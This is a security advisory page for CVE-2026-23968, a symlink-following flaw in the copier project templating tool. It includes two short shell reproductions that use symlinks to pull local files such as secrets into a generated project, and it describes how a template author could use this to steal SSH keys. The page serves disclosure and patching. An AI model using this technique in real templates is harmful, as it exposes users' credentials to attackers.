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🛡️ CVE-2026-23968 — copier

🟡 CVSS 5.5 — Medium ⚠️ Exploit Public CWE-61 OSV
5.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [_preserve_symlinks: false](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets.

Reproducible example:

  • Illegally include a file in the generated project via symlink resolution:

```shell

echo "s3cr3t" > secret.txt

mkdir src/

pushd src/

ln -s ../secret.txt stolen-secret.txt

popd

uvx copier copy src/ dst/

cat dst/stolen-secret.txt

#s3cr3t

```

  • Illegally include a directory in the generated project via symlink resolution:

```shell

mkdir secrets/

pushd secrets/

echo "s3cr3t" > secret.txt

popd

mkdir src/

pushd src/

ln -s ../secrets stolen-secrets

popd

uvx copier copy src/ dst/

tree dst/

# dst/

# └── stolen-secrets

# └── secret.txt

#

# 1 directory, 1 file

cat dst/stolen-secrets/secret.txt

# s3cr3t

```

Patches

n/a

Workarounds

n/a

References

n/a

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Passive — a victim action is involved, but not a deliberate one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-23968 is classified as CWE-61: UNIX Symbolic Link (Symlink) Following. The product, when opening a file or directory, does not sufficiently account for when the file is a symbolic link that resolves to a target outside of the intended control sphere.

Affected software

CVE-2026-23968 is recorded against 1 package.

  • copier (fixed in 9.11.2)

Timeline and source

Published on 7 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

copier has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-61: UNIX Symbolic Link (Symlink) Following) in other software:

Details

Severity MEDIUM
CVSS Score 5.5
CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CWE CWE-61
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-07
Updated 2026-08-20
Modified 2026-07-07

Affected Packages

Software From version Fixed in
copier — 9.11.2

Similar Threats

Exploit Protection

Are you running copier?

CVE-2026-23968 carries CVSS 5.5 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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